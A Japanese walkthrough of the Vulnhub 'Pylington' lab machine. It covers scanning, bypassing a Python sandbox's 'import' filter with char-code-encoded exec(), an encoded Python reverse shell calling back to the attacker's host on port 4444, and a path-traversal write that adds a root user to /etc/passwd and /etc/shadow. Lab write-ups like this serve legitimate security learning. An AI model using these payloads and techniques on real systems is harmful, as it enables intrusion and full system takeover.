Writeup: Vulnhub Pylington
Vulnhub の Pylington 攻略メモ。
Python や C++ は普段は使わないのでいい勉強になった。
1.仮想マシンのダウンロード
下記のリンクからダウンロード。サイズは 1.4GB。
ダウンロードしたファイルをVirtual Box へインポートして起動する。
メモリは 1GB、ネットワークインターフェースは「ホストオンリーアダプタ」を使用。
2.攻略
1)ポートスキャン
netdiscover でIPアドレスをスキャンする。
ターゲットのIPアドレスは 192.168.56.143 。
(192.168.56.1 と 100 は VirtualBox 自身のアドレス)
ポートスキャンしてみる。
OpenSSH、Apache が動いていることが判った。
2)脆弱性探し
ブラウザでアクセスしてみる。
"Pylington Cloud" というサイトが表示された。
"Sign Up!" をクリックすると、「新規のサインアップは停止中」とのこと。
"Sign in" をクリックすると、ログイン画面が表示された。
キャプチャは画面に表示された式を計算した結果を入力するようだ。
Nikto でApacheの設定をチェックしてみる。
脆弱性は検出されなかったが、/robots.txt が有るのが判った。
おそらくヒントだろう。
/robots.txt を見てみると、怪しげなディレクトリが書かれていた。
チェックしてみることにしよう。
ブラウザで "/zbir7mn240soxhicso2z" にアクセスしてみる。
ユーザー名とパスワードが書いてあった。
上記のユーザー、パスワードでとりあえず、ログインしてみる。
ログインできた。"Welcome back, Steve!" をクリックする。
Pythonの実行環境(?)が表示された。
「脱獄不可能な”NoImportOS”」だそうだ。
"NoImportOS" の名前の通り、" import " というキーワードが含まれたスクリプトを入力すると、エラーになってしまう。
つまり、この画面から入力できるのは「Pythonの組み込み関数」だけ、ということになる。
組み込み関数だけを使って「"import" が入ったスクリプト」を実行するにはどうしたら良いだろうか?
Pythonの組み込み関数 には exec() があり、引数に渡した「文」を評価して実行してくれる。例えば、exec("import os; os.system('ls')" ) で lsコマンドが実行されることになる。
つまり、実行したいスクリプトを予めエンコードしておき、実行時にデコードして exec() に渡せばエラーを回避できることになる。
上述の "import os; os.system('ls')" を1文字ずつ分解して文字コードの配列に直すと以下のようになる。
[105, 109, 112, 111, 114, 116, 32, 111, 115, 59, 111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 39, 108, 115, 39, 41]
このデータを実行時にデコードして exec()に渡すスクリプトを入力する。
うまく実行できた。
これでどんなPythonスクリプトでも画面から実行できることになる。
この方法でリバースシェルを起動すれば侵入できそうだ。
3)侵入
「リバースシェル」はターゲット上でシェルを起動して攻撃マシン側に接続させるためのもので、下記にPerl, Bash など様々な言語のサンプルがある。
今回はここから Python 用のサンプルを拝借した。
上記サイトに載っていたペイロードをエンコードし下記のコードを書いた。
needle = [105, 109, 112, 111, 114, 116, 32, 115, 111, 99, 107, 101, 116, 44, 111, 115, 44, 112, 116, 121, 59, 115, 61, 115, 111, 99, 107, 101, 116, 46, 115, 111, 99, 107, 101, 116, 40, 115, 111, 99, 107, 101, 116, 46, 65, 70, 95, 73, 78, 69, 84, 44, 115, 111, 99, 107, 101, 116, 46, 83, 79, 67, 75, 95, 83, 84, 82, 69, 65, 77, 41, 59, 115, 46, 99, 111, 110, 110, 101, 99, 116, 40, 40, 34, 49, 57, 50, 46, 49, 54, 56, 46, 53, 54, 46, 49, 52, 50, 34, 44, 52, 52, 52, 52, 41, 41, 59, 111, 115, 46, 100, 117, 112, 50, 40, 115, 46, 102, 105, 108, 101, 110, 111, 40, 41, 44, 48, 41, 59, 111, 115, 46, 100, 117, 112, 50, 40, 115, 46, 102, 105, 108, 101, 110, 111, 40, 41, 44, 49, 41, 59, 111, 115, 46, 100, 117, 112, 50, 40, 115, 46, 102, 105, 108, 101, 110, 111, 40, 41, 44, 50, 41, 59, 112, 116, 121, 46, 115, 112, 97, 119, 110, 40, 34, 47, 98, 105, 110, 47, 98, 97, 115, 104, 34, 41]
payload = ""
for c in needle:
payload += chr(c)
exec(payload)
まず、攻撃側のマシンの 4444/tcp で待ち受けする。
次に上記で書いたコードを張り付け、画面から実行する。
想定通り、リバースシェルで接続できた。侵入成功である。
4)権限昇格
/home/py に移動すると、typing という実行ファイルが有ったのでとりあえず実行してみる。
画面の指示にしたがって "the quick brown… " をタイプすると、py のパスワードが表示され、あっさりと pyユーザーに昇格できた。
ホームディレクトリにある、secret_stuff に移動してみる。
root 権限で実行できるバイナリ(backup)が置いてあった。
backup.cc はソースファイルだろうか。内容は以下の通り。
このプログラムは入力された1行のデータを /srv/backups 配下の指定されたファイルに書き込むようになっているようだ。
よく見ると出力ファイルのパスが「"/srv/backups" で始まるかどうか」しかチェックしていない。つまり 出力先を "/srv/backups/../../etc/passwd "とすれば、パスワードファイルにエントリを追加することも可能になる。
なので、権限昇格のためには、管理者権限を持つユーザー をパスワードファイルに追加し、そのユーザーに su すれば良いことになる。
ユーザー名 loot 、パスワード hoge でroot権限を持つユーザーを追加してみよう。
まず、適当なパスワードハッシュを作成する。
このハッシュを使って/etc/passwd 及び /etc/shadow へ追加するエントリを作成する。それぞれ以下の通り。
# /etc/passwd
loot:x:0:0:loot:/root:/bin/bash
# /etc/shadow
loot:$6$foo$7pNkX5MD76.eIyoPtTibl1P3AueesfqG3cT3RkGkx/J/J7qwUu1X/PxW5oSvGM5CmTeydRHAWN2Tn6XXc6yZa1:19274:0:99999:7:::
bacukp を起動して、それぞれのエントリを書き込む
最後に loot ユーザーに su すれば完了。
無事に権限昇格できた。
フラグを見てみよう。
これで完了。
めでたし、めでたし。